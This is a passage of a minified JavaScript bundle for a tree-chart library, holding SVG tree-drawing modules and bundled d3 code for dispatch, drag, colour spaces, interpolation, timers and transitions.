t.id}),y=o.drawLinkEnter(v,n,i,e);a.drawLinkUpdate(y,v,n),u.drawLinkExit(v,n,i,e),e=i.slice()}(p,d)},clean:function(t){var r=t?document.querySelector(\"#\"+n.htmlId+\" svg g\"):document.querySelector(\"#\"+n.htmlId);if(r)for(;r.firstChild;)r.removeChild(r.firstChild);e=[]}},p=i.initiliazeSVG(n);return f}},function(t,n,e){\"use strict\";var r=this&&this.__importStar||function(t){if(t&&t.__esModule)return t;var n={};if(null!=t)for(var e in t)Object.hasOwnProperty.call(t,e)&&(n[e]=t[e]);return n.default=t,n},i=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(n,\"__esModule\",{value:!0});var o=r(e(0)),u=i(e(3)),a=e(1);n.initiliazeSVG=function(t){var n=t.htmlId,e=t.isHorizontal,r=t.hasPanAndZoom,i=t.mainAxisNodeSpacing,c=t.nodeHeight,s=t.nodeWidth,l=t.marginBottom,h=t.marginLeft,f=t.marginRight,p=t.marginTop,d=f,v=l,y=h,m=a.getAreaSize(t.htmlId),g=m.areaHeight,_=m.areaWidth,w=_-y-d,x=g-p-v,b=o.select(\"#\"+n).append(\"svg\").attr(\"width\",_).attr(\"height\",g).call(u.default.zoom().on(\"zoom\",function(){return r?b.attr(\"transform\",o.event.transform):null})).append(\"g\");return b.append(\"g\").attr(\"transform\",\"auto\"===i?\"translate(0,0)\":e?\"translate(\"+y+\",\"+(p+x/2-c/2)+\")\":\"translate(\"+(y+w/2-s/2)+\",\"+p+\")\")}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(1),i=e(2);n.drawLinkEnter=function(t,n,e,o){return t.enter().insert(\"path\",\"g\").attr(\"class\",\"link\").attr(\"d\",function(t){var u=r.getFirstDisplayedAncestor(e,o,t.id),a={x:u.x0,y:u.y0};return i.generateLinkLayout(a,a,n)}).attr(\"fill\",\"none\").attr(\"stroke-width\",function(t){var e=t.data;return n.linkWidth(e)}).attr(\"stroke\",function(t){var e=t.data;return n.linkColor(e)})}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(1),i=e(2);n.drawLinkExit=function(t,n,e,o){t.exit().transition().duration(n.duration).style(\"opacity\",0).attr(\"d\",function(t){var u=r.getFirstDisplayedAncestor(o,e,t.id),a={x:u.x0,y:u.y0};return i.generateLinkLayout(a,a,n)}).remove()}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(2);n.drawLinkUpdate=function(t,n,e){t.merge(n).transition().duration(e.duration).attr(\"d\",function(t){return r.generateLinkLayout(t,t.parent,e)})}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(1);n.drawNodeEnter=function(t,n,e,i){var o=t.enter().append(\"g\").attr(\"class\",\"node\").attr(\"transform\",function(t){var o=r.getFirstDisplayedAncestor(e,i,t.id);return r.setNodeLocation(o.x0,o.y0,n)});return o.append(\"foreignObject\").attr(\"width\",n.nodeWidth).attr(\"height\",n.nodeHeight),o}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(1);n.drawNodeExit=function(t,n,e,i){var o=t.exit().transition().duration(n.duration).style(\"opacity\",0).attr(\"transform\",function(t){var o=r.getFirstDisplayedAncestor(i,e,t.id);return r.setNodeLocation(o.x0,o.y0,n)}).remove();o.select(\"rect\").style(\"fill-opacity\",1e-6),o.select(\"circle\").attr(\"r\",1e-6),o.select(\"text\").style(\"fill-opacity\",1e-6)}},function(t,n,e){\"use strict\";var r=this&&this.__assign||function(){return(r=Object.assign||function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t}).apply(this,arguments)};Object.defineProperty(n,\"__esModule\",{value:!0}),n.drawNodeUpdate=function(t,n,e){var i=t.merge(n);i.transition().duration(e.duration).attr(\"transform\",function(t){return e.isHorizontal?\"translate(\"+t.y+\",\"+t.x+\")\":\"translate(\"+t.x+\",\"+t.y+\")\"}),i.select(\"foreignObject\").attr(\"width\",e.nodeWidth).attr(\"height\",e.nodeHeight).style(\"overflow\",\"visible\").on(\"click\",e.onNodeClick).on(\"mouseenter\",e.onNodeMouseEnter).on(\"mouseleave\",e.onNodeMouseLeave).html(function(t){return e.renderNode(r({},t,{settings:e}))})}},function(t,n,e){\"use strict\";var r=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(n,\"__esModule\",{value:!0});var i=r(e(3)),o=e(1);n.generateNestedData=function(t,n){var e=n.idKey,r=n.relationnalField;return n.hasFlatData?i.default.stratify().id(function(t){return t[e]}).parentId(function(t){return t[r]})(t):i.default.hierarchy(t,function(t){return t[r]})},n.generateBasicTreemap=function(t){var n=o.getAreaSize(t.htmlId),e=n.areaHeight,r=n.areaWidth;return\"auto\"===t.mainAxisNodeSpacing&&t.isHorizontal?i.default.tree().size([e-t.nodeHeight,r-t.nodeWidth]):\"auto\"!==t.mainAxisNodeSpacing||t.isHorizontal?!0===t.isHorizontal?i.default.tree().nodeSize([t.nodeHeight*t.secondaryAxisNodeSpacing,t.nodeWidth]):i.default.tree().nodeSize([t.nodeWidth*t.secondaryAxisNodeSpacing,t.nodeHeight]):i.default.tree().size([r-t.nodeWidth,e-t.nodeHeight])}},function(t,n,e){\"use strict\";e.r(n);var r={value:function(){}};function i(){for(var t,n=0,e=arguments.length,r={};n<e;++n){if(!(t=arguments[n]+\"\")||t in r)throw new Error(\"illegal type: \"+t);r[t]=[]}return new o(r)}function o(t){this._=t}function u(t,n){for(var e,r=0,i=t.length;r<i;++r)if((e=t[r]).name===n)return e.value}function a(t,n,e){for(var i=0,o=t.length;i<o;++i)if(t[i].name===n){t[i]=r,t=t.slice(0,i).concat(t.slice(i+1));break}return null!=e&&t.push({name:n,value:e}),t}o.prototype=i.prototype={constructor:o,on:function(t,n){var e,r,i=this._,o=(r=i,(t+\"\").trim().split(/^|\\s+/).map(function(t){var n=\"\",e=t.indexOf(\".\");if(e>=0&&(n=t.slice(e+1),t=t.slice(0,e)),t&&!r.hasOwnProperty(t))throw new Error(\"unknown type: \"+t);return{type:t,name:n}})),c=-1,s=o.length;if(!(arguments.length<2)){if(null!=n&&\"function\"!=typeof n)throw new Error(\"invalid callback: \"+n);for(;++c<s;)if(e=(t=o[c]).type)i[e]=a(i[e],t.name,n);else if(null==n)for(e in i)i[e]=a(i[e],t.name,null);return this}for(;++c<s;)if((e=(t=o[c]).type)&&(e=u(i[e],t.name)))return e},copy:function(){var t={},n=this._;for(var e in n)t[e]=n[e].slice();return new o(t)},call:function(t,n){if((e=arguments.length-2)>0)for(var e,r,i=new Array(e),o=0;o<e;++o)i[o]=arguments[o+2];if(!this._.hasOwnProperty(t))throw new Error(\"unknown type: \"+t);for(o=0,e=(r=this._[t]).length;o<e;++o)r[o].value.apply(n,i)},apply:function(t,n,e){if(!this._.hasOwnProperty(t))throw new Error(\"unknown type: \"+t);for(var r=this._[t],i=0,o=r.length;i<o;++i)r[i].value.apply(n,e)}};var c=i,s=e(0);var l=function(){s.event.preventDefault(),s.event.stopImmediatePropagation()},h=function(t){var n=t.document.documentElement,e=Object(s.select)(t).on(\"dragstart.drag\",l,!0);\"onselectstart\"in n?e.on(\"selectstart.drag\",l,!0):(n.__noselect=n.style.MozUserSelect,n.style.MozUserSelect=\"none\")};function f(t,n){var e=t.document.documentElement,r=Object(s.select)(t).on(\"dragstart.drag\",null);n&&(r.on(\"click.drag\",l,!0),setTimeout(function(){r.on(\"click.drag\",null)},0)),\"onselectstart\"in e?r.on(\"selectstart.drag\",null):(e.style.MozUserSelect=e.__noselect,delete e.__noselect)}function p(t,n,e,r,i,o,u,a,c,s){this.target=t,this.type=n,this.subject=e,this.identifier=r,this.active=i,this.x=o,this.y=u,this.dx=a,this.dy=c,this._=s}p.prototype.on=function(){var t=this._.on.apply(this._,arguments);return t===this._?this:t};var d=function(t,n,e){t.prototype=n.prototype=e,e.constructor=t};function v(t,n){var e=Object.create(t.prototype);for(var r in n)e[r]=n[r];return e}function y(){}var m=\"\\\\s*([+-]?\\\\d+)\\\\s*\",g=\"\\\\s*([+-]?\\\\d*\\\\.?\\\\d+(?:[eE][+-]?\\\\d+)?)\\\\s*\",_=\"\\\\s*([+-]?\\\\d*\\\\.?\\\\d+(?:[eE][+-]?\\\\d+)?)%\\\\s*\",w=/^#([0-9a-f]{3})$/,x=/^#([0-9a-f]{6})$/,b=new RegExp(\"^rgb\\\\(\"+[m,m,m]+\"\\\\)$\"),M=new RegExp(\"^rgb\\\\(\"+[_,_,_]+\"\\\\)$\"),k=new RegExp(\"^rgba\\\\(\"+[m,m,m,g]+\"\\\\)$\"),A=new RegExp(\"^rgba\\\\(\"+[_,_,_,g]+\"\\\\)$\"),z=new RegExp(\"^hsl\\\\(\"+[g,_,_]+\"\\\\)$\"),N=new RegExp(\"^hsla\\\\(\"+[g,_,_,g]+\"\\\\)$\"),E={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};function S(t){var n;return t=(t+\"\").trim().toLowerCase(),(n=w.exec(t))?new L((n=parseInt(n[1],16))>>8&15|n>>4&240,n>>4&15|240&n,(15&n)<<4|15&n,1):(n=x.exec(t))?O(parseInt(n[1],16)):(n=b.exec(t))?new L(n[1],n[2],n[3],1):(n=M.exec(t))?new L(255*n[1]/100,255*n[2]/100,255*n[3]/100,1):(n=k.exec(t))?j(n[1],n[2],n[3],n[4]):(n=A.exec(t))?j(255*n[1]/100,255*n[2]/100,255*n[3]/100,n[4]):(n=z.exec(t))?B(n[1],n[2]/100,n[3]/100,1):(n=N.exec(t))?B(n[1],n[2]/100,n[3]/100,n[4]):E.hasOwnProperty(t)?O(E[t]):\"transparent\"===t?new L(NaN,NaN,NaN,0):null}function O(t){return new L(t>>16&255,t>>8&255,255&t,1)}function j(t,n,e,r){return r<=0&&(t=n=e=NaN),new L(t,n,e,r)}function P(t){return t instanceof y||(t=S(t)),t?new L((t=t.rgb()).r,t.g,t.b,t.opacity):new L}function T(t,n,e,r){return 1===arguments.length?P(t):new L(t,n,e,null==r?1:r)}function L(t,n,e,r){this.r=+t,this.g=+n,this.b=+e,this.opacity=+r}function q(t){return((t=Math.max(0,Math.min(255,Math.round(t)||0)))<16?\"0\":\"\")+t.toString(16)}function B(t,n,e,r){return r<=0?t=n=e=NaN:e<=0||e>=1?t=n=NaN:n<=0&&(t=NaN),new C(t,n,e,r)}function I(t,n,e,r){return 1===arguments.length?function(t){if(t instanceof C)return new C(t.h,t.s,t.l,t.opacity);if(t instanceof y||(t=S(t)),!t)return new C;if(t instanceof C)return t;var n=(t=t.rgb()).r/255,e=t.g/255,r=t.b/255,i=Math.min(n,e,r),o=Math.max(n,e,r),u=NaN,a=o-i,c=(o+i)/2;return a?(u=n===o?(e-r)/a+6*(e<r):e===o?(r-n)/a+2:(n-e)/a+4,a/=c<.5?o+i:2-o-i,u*=60):a=c>0&&c<1?0:u,new C(u,a,c,t.opacity)}(t):new C(t,n,e,null==r?1:r)}function C(t,n,e,r){this.h=+t,this.s=+n,this.l=+e,this.opacity=+r}function D(t,n,e){return 255*(t<60?n+(e-n)*t/60:t<180?e:t<240?n+(e-n)*(240-t)/60:n)}d(y,S,{displayable:function(){return this.rgb().displayable()},hex:function(){return this.rgb().hex()},toString:function(){return this.rgb()+\"\"}}),d(L,T,v(y,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new L(this.r*t,this.g*t,this.b*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new L(this.r*t,this.g*t,this.b*t,this.opacity)},rgb:function(){return this},displayable:function(){return 0<=this.r&&this.r<=255&&0<=this.g&&this.g<=255&&0<=this.b&&this.b<=255&&0<=this.opacity&&this.opacity<=1},hex:function(){return\"#\"+q(this.r)+q(this.g)+q(this.b)},toString:function(){var t=this.opacity;return(1===(t=isNaN(t)?1:Math.max(0,Math.min(1,t)))?\"rgb(\":\"rgba(\")+Math.max(0,Math.min(255,Math.round(this.r)||0))+\", \"+Math.max(0,Math.min(255,Math.round(this.g)||0))+\", \"+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===t?\")\":\", \"+t+\")\")}})),d(C,I,v(y,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new C(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new C(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=this.h%360+360*(this.h<0),n=isNaN(t)||isNaN(this.s)?0:this.s,e=this.l,r=e+(e<.5?e:1-e)*n,i=2*e-r;return new L(D(t>=240?t-240:t+120,i,r),D(t,i,r),D(t<120?t+240:t-120,i,r),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1}}));var H=Math.PI/180,X=180/Math.PI,Y=.96422,R=1,V=.82521,W=4/29,F=6/29,U=3*F*F,$=F*F*F;function G(t){if(t instanceof Q)return new Q(t.l,t.a,t.b,t.opacity);if(t instanceof it){if(isNaN(t.h))return new Q(t.l,0,0,t.opacity);var n=t.h*H;return new Q(t.l,Math.cos(n)*t.c,Math.sin(n)*t.c,t.opacity)}t instanceof L||(t=P(t));var e,r,i=nt(t.r),o=nt(t.g),u=nt(t.b),a=Z((.2225045*i+.7168786*o+.0606169*u)/R);return i===o&&o===u?e=r=a:(e=Z((.4360747*i+.3850649*o+.1430804*u)/Y),r=Z((.0139322*i+.0971045*o+.7141733*u)/V)),new Q(116*a-16,500*(e-a),200*(a-r),t.opacity)}function K(t,n,e,r){return 1===arguments.length?G(t):new Q(t,n,e,null==r?1:r)}function Q(t,n,e,r){this.l=+t,this.a=+n,this.b=+e,this.opacity=+r}function Z(t){return t>$?Math.pow(t,1/3):t/U+W}function J(t){return t>F?t*t*t:U*(t-W)}function tt(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function nt(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function et(t){if(t instanceof it)return new it(t.h,t.c,t.l,t.opacity);if(t instanceof Q||(t=G(t)),0===t.a&&0===t.b)return new it(NaN,0,t.l,t.opacity);var n=Math.atan2(t.b,t.a)*X;return new it(n<0?n+360:n,Math.sqrt(t.a*t.a+t.b*t.b),t.l,t.opacity)}function rt(t,n,e,r){return 1===arguments.length?et(t):new it(t,n,e,null==r?1:r)}function it(t,n,e,r){this.h=+t,this.c=+n,this.l=+e,this.opacity=+r}d(Q,K,v(y,{brighter:function(t){return new Q(this.l+18*(null==t?1:t),this.a,this.b,this.opacity)},darker:function(t){return new Q(this.l-18*(null==t?1:t),this.a,this.b,this.opacity)},rgb:function(){var t=(this.l+16)/116,n=isNaN(this.a)?t:t+this.a/500,e=isNaN(this.b)?t:t-this.b/200;return new L(tt(3.1338561*(n=Y*J(n))-1.6168667*(t=R*J(t))-.4906146*(e=V*J(e))),tt(-.9787684*n+1.9161415*t+.033454*e),tt(.0719453*n-.2289914*t+1.4052427*e),this.opacity)}})),d(it,rt,v(y,{brighter:function(t){return new it(this.h,this.c,this.l+18*(null==t?1:t),this.opacity)},darker:function(t){return new it(this.h,this.c,this.l-18*(null==t?1:t),this.opacity)},rgb:function(){return G(this).rgb()}}));var ot=-.14861,ut=1.78277,at=-.29227,ct=-.90649,st=1.97294,lt=st*ct,ht=st*ut,ft=ut*at-ct*ot;function pt(t,n,e,r){return 1===arguments.length?function(t){if(t instanceof dt)return new dt(t.h,t.s,t.l,t.opacity);t instanceof L||(t=P(t));var n=t.r/255,e=t.g/255,r=t.b/255,i=(ft*r+lt*n-ht*e)/(ft+lt-ht),o=r-i,u=(st*(e-i)-at*o)/ct,a=Math.sqrt(u*u+o*o)/(st*i*(1-i)),c=a?Math.atan2(u,o)*X-120:NaN;return new dt(c<0?c+360:c,a,i,t.opacity)}(t):new dt(t,n,e,null==r?1:r)}function dt(t,n,e,r){this.h=+t,this.s=+n,this.l=+e,this.opacity=+r}function vt(t,n,e,r,i){var o=t*t,u=o*t;return((1-3*t+3*o-u)*n+(4-6*o+3*u)*e+(1+3*t+3*o-3*u)*r+u*i)/6}d(dt,pt,v(y,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new dt(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new dt(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=isNaN(this.h)?0:(this.h+120)*H,n=+this.l,e=isNaN(this.s)?0:this.s*n*(1-n),r=Math.cos(t),i=Math.sin(t);return new L(255*(n+e*(ot*r+ut*i)),255*(n+e*(at*r+ct*i)),255*(n+e*(st*r)),this.opacity)}}));var yt=function(t){return function(){return t}};function mt(t,n){return function(e){return t+e*n}}function gt(t,n){var e=n-t;return e?mt(t,e>180||e<-180?e-360*Math.round(e/360):e):yt(isNaN(t)?n:t)}function _t(t){return 1==(t=+t)?wt:function(n,e){return e-n?function(t,n,e){return t=Math.pow(t,e),n=Math.pow(n,e)-t,e=1/e,function(r){return Math.pow(t+r*n,e)}}(n,e,t):yt(isNaN(n)?e:n)}}function wt(t,n){var e=n-t;return e?mt(t,e):yt(isNaN(t)?n:t)}var xt=function t(n){var e=_t(n);function r(t,n){var r=e((t=T(t)).r,(n=T(n)).r),i=e(t.g,n.g),o=e(t.b,n.b),u=wt(t.opacity,n.opacity);return function(n){return t.r=r(n),t.g=i(n),t.b=o(n),t.opacity=u(n),t+\"\"}}return r.gamma=t,r}(1);function bt(t){return function(n){var e,r,i=n.length,o=new Array(i),u=new Array(i),a=new Array(i);for(e=0;e<i;++e)r=T(n[e]),o[e]=r.r||0,u[e]=r.g||0,a[e]=r.b||0;return o=t(o),u=t(u),a=t(a),r.opacity=1,function(t){return r.r=o(t),r.g=u(t),r.b=a(t),r+\"\"}}}bt(function(t){var n=t.length-1;return function(e){var r=e<=0?e=0:e>=1?(e=1,n-1):Math.floor(e*n),i=t[r],o=t[r+1],u=r>0?t[r-1]:2*i-o,a=r<n-1?t[r+2]:2*o-i;return vt((e-r/n)*n,u,i,o,a)}}),bt(function(t){var n=t.length;return function(e){var r=Math.floor(((e%=1)<0?++e:e)*n),i=t[(r+n-1)%n],o=t[r%n],u=t[(r+1)%n],a=t[(r+2)%n];return vt((e-r/n)*n,i,o,u,a)}});var Mt=function(t,n){return n-=t=+t,function(e){return t+n*e}},kt=/[-+]?(?:\\d+\\.?\\d*|\\.?\\d+)(?:[eE][-+]?\\d+)?/g,At=new RegExp(kt.source,\"g\");var zt,Nt,Et,St,Ot=function(t,n){var e,r,i,o=kt.lastIndex=At.lastIndex=0,u=-1,a=[],c=[];for(t+=\"\",n+=\"\";(e=kt.exec(t))&&(r=At.exec(n));)(i=r.index)>o&&(i=n.slice(o,i),a[u]?a[u]+=i:a[++u]=i),(e=e[0])===(r=r[0])?a[u]?a[u]+=r:a[++u]=r:(a[++u]=null,c.push({i:u,x:Mt(e,r)})),o=At.lastIndex;return o<n.length&&(i=n.slice(o),a[u]?a[u]+=i:a[++u]=i),a.length<2?c[0]?function(t){return function(n){return t(n)+\"\"}}(c[0].x):function(t){return function(){return t}}(n):(n=c.length,function(t){for(var e,r=0;r<n;++r)a[(e=c[r]).i]=e.x(t);return a.join(\"\")})},jt=180/Math.PI,Pt={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1},Tt=function(t,n,e,r,i,o){var u,a,c;return(u=Math.sqrt(t*t+n*n))&&(t/=u,n/=u),(c=t*e+n*r)&&(e-=t*c,r-=n*c),(a=Math.sqrt(e*e+r*r))&&(e/=a,r/=a,c/=a),t*r<n*e&&(t=-t,n=-n,c=-c,u=-u),{translateX:i,translateY:o,rotate:Math.atan2(n,t)*jt,skewX:Math.atan(c)*jt,scaleX:u,scaleY:a}};function Lt(t,n,e,r){function i(t){return t.length?t.pop()+\" \":\"\"}return function(o,u){var a=[],c=[];return o=t(o),u=t(u),function(t,r,i,o,u,a){if(t!==i||r!==o){var c=u.push(\"translate(\",null,n,null,e);a.push({i:c-4,x:Mt(t,i)},{i:c-2,x:Mt(r,o)})}else(i||o)&&u.push(\"translate(\"+i+n+o+e)}(o.translateX,o.translateY,u.translateX,u.translateY,a,c),function(t,n,e,o){t!==n?(t-n>180?n+=360:n-t>180&&(t+=360),o.push({i:e.push(i(e)+\"rotate(\",null,r)-2,x:Mt(t,n)})):n&&e.push(i(e)+\"rotate(\"+n+r)}(o.rotate,u.rotate,a,c),function(t,n,e,o){t!==n?o.push({i:e.push(i(e)+\"skewX(\",null,r)-2,x:Mt(t,n)}):n&&e.push(i(e)+\"skewX(\"+n+r)}(o.skewX,u.skewX,a,c),function(t,n,e,r,o,u){if(t!==e||n!==r){var a=o.push(i(o)+\"scale(\",null,\",\",null,\")\");u.push({i:a-4,x:Mt(t,e)},{i:a-2,x:Mt(n,r)})}else 1===e&&1===r||o.push(i(o)+\"scale(\"+e+\",\"+r+\")\")}(o.scaleX,o.scaleY,u.scaleX,u.scaleY,a,c),o=u=null,function(t){for(var n,e=-1,r=c.length;++e<r;)a[(n=c[e]).i]=n.x(t);return a.join(\"\")}}}var qt=Lt(function(t){return\"none\"===t?Pt:(zt||(zt=document.createElement(\"DIV\"),Nt=document.documentElement,Et=document.defaultView),zt.style.transform=t,t=Et.getComputedStyle(Nt.appendChild(zt),null).getPropertyValue(\"transform\"),Nt.removeChild(zt),t=t.slice(7,-1).split(\",\"),Tt(+t[0],+t[1],+t[2],+t[3],+t[4],+t[5]))},\"px, \",\"px)\",\"deg)\"),Bt=Lt(function(t){return null==t?Pt:(St||(St=document.createElementNS(\"http://www.w3.org/2000/svg\",\"g\")),St.setAttribute(\"transform\",t),(t=St.transform.baseVal.consolidate())?(t=t.matrix,Tt(t.a,t.b,t.c,t.d,t.e,t.f)):Pt)},\", \",\")\",\")\"),It=Math.SQRT2;function Ct(t){return((t=Math.exp(t))+1/t)/2}var Dt=function(t,n){var e,r,i=t[0],o=t[1],u=t[2],a=n[0],c=n[1],s=n[2],l=a-i,h=c-o,f=l*l+h*h;if(f<1e-12)r=Math.log(s/u)/It,e=function(t){return[i+t*l,o+t*h,u*Math.exp(It*t*r)]};else{var p=Math.sqrt(f),d=(s*s-u*u+4*f)/(2*u*2*p),v=(s*s-u*u-4*f)/(2*s*2*p),y=Math.log(Math.sqrt(d*d+1)-d),m=Math.log(Math.sqrt(v*v+1)-v);r=(m-y)/It,e=function(t){var n,e=t*r,a=Ct(y),c=u/(2*p)*(a*(n=It*e+y,((n=Math.exp(2*n))-1)/(n+1))-function(t){return((t=Math.exp(t))-1/t)/2}(y));return[i+c*l,o+c*h,u*a/Ct(It*e+y)]}}return e.duration=1e3*r,e};function Ht(t){return function(n,e){var r=t((n=I(n)).h,(e=I(e)).h),i=wt(n.s,e.s),o=wt(n.l,e.l),u=wt(n.opacity,e.opacity);return function(t){return n.h=r(t),n.s=i(t),n.l=o(t),n.opacity=u(t),n+\"\"}}}Ht(gt),Ht(wt);function Xt(t){return function(n,e){var r=t((n=rt(n)).h,(e=rt(e)).h),i=wt(n.c,e.c),o=wt(n.l,e.l),u=wt(n.opacity,e.opacity);return function(t){return n.h=r(t),n.c=i(t),n.l=o(t),n.opacity=u(t),n+\"\"}}}Xt(gt),Xt(wt);function Yt(t){return function n(e){function r(n,r){var i=t((n=pt(n)).h,(r=pt(r)).h),o=wt(n.s,r.s),u=wt(n.l,r.l),a=wt(n.opacity,r.opacity);return function(t){return n.h=i(t),n.s=o(t),n.l=u(Math.pow(t,e)),n.opacity=a(t),n+\"\"}}return e=+e,r.gamma=n,r}(1)}Yt(gt),Yt(wt);var Rt,Vt,Wt=0,Ft=0,Ut=0,$t=1e3,Gt=0,Kt=0,Qt=0,Zt=\"object\"==typeof performance&&performance.now?performance:Date,Jt=\"object\"==typeof window&&window.requestAnimationFrame?window.requestAnimationFrame.bind(window):function(t){setTimeout(t,17)};function tn(){return Kt||(Jt(nn),Kt=Zt.now()+Qt)}function nn(){Kt=0}function en(){this._call=this._time=this._next=null}function rn(t,n,e){var r=new en;return r.restart(t,n,e),r}function on(){Kt=(Gt=Zt.now())+Qt,Wt=Ft=0;try{!function(){tn(),++Wt;for(var t,n=Rt;n;)(t=Kt-n._time)>=0&&n._call.call(null,t),n=n._next;--Wt}()}finally{Wt=0,function(){var t,n,e=Rt,r=1/0;for(;e;)e._call?(r>e._time&&(r=e._time),t=e,e=e._next):(n=e._next,e._next=null,e=t?t._next=n:Rt=n);Vt=t,an(r)}(),Kt=0}}function un(){var t=Zt.now(),n=t-Gt;n>$t&&(Qt-=n,Gt=t)}function an(t){Wt||(Ft&&(Ft=clearTimeout(Ft)),t-Kt>24?(t<1/0&&(Ft=setTimeout(on,t-Zt.now()-Qt)),Ut&&(Ut=clearInterval(Ut))):(Ut||(Gt=Zt.now(),Ut=setInterval(un,$t)),Wt=1,Jt(on)))}en.prototype=rn.prototype={constructor:en,restart:function(t,n,e){if(\"function\"!=typeof t)throw new TypeError(\"callback is not a function\");e=(null==e?tn():+e)+(null==n?0:+n),this._next||Vt===this||(Vt?Vt._next=this:Rt=this,Vt=this),this._call=t,this._time=e,an()},stop:function(){this._call&&(this._call=null,this._time=1/0,an())}};var cn=function(t,n,e){var r=new en;return n=null==n?0:+n,r.restart(function(e){r.stop(),t(e+n)},n,e),r},sn=c(\"start\",\"end\",\"cancel\",\"interrupt\"),ln=[],hn=0,fn=1,pn=2,dn=3,vn=4,yn=5,mn=6,gn=function(t,n,e,r,i,o){var u=t.__transition;if(u){if(e in u)return}else t.__transition={};!function(t,n,e){var r,i=t.__transition;function o(c){var s,l,h,f;if(e.state!==fn)return a();for(s in i)if((f=i[s]).name===e.name){if(f.state===dn)return cn(o);f.state===vn?(f.state=mn,f.timer.stop(),f.on.call(\"interrupt\",t,t.__data__,f.index,f.group),delete i[s]):+s<n&&(f.state=mn,f.timer.stop(),f.on.call(\"cancel\",t,t.__data__,f.index,f.group),delete i[s])}if(cn(function(){e.state===dn&&(e.state=vn,e.timer.restart(u,e.delay,e.time),u(c))}),e.state=pn,e.on.call(\"start\",t,t.__data__,e.index,e.group),e.state===pn){for(e.state=dn,r=new Array(h=e.tween.length),s=0,l=-1;s<h;++s)(f=e.tween[s].value.call(t,t.__data__,e.index,e.group))&&(r[++l]=f);r.length=l+1}}function u(n){for(var i=n<e.duration?e.ease.call(null,n/e.duration):(e.timer.restart(a),e.state=yn,1),o=-1,u=r.length;++o<u;)r[o].call(t,i);e.state===yn&&(e.on.call(\"end\",t,t.__data__,e.index,e.group),a())}function a(){for(var r in e.state=mn,e.timer.stop(),delete i[n],i)return;delete t.__transition}i[n]=e,e.timer=rn(function(t){e.state=fn,e.timer.restart(o,e.delay,e.time),e.delay<=t&&o(t-e.delay)},0,e.time)}(t,e,{name:n,index:r,group:i,on:sn,tween:ln,time:o.time,delay:o.delay,duration:o.duration,ease:o.ease,timer:null,state:hn})};function 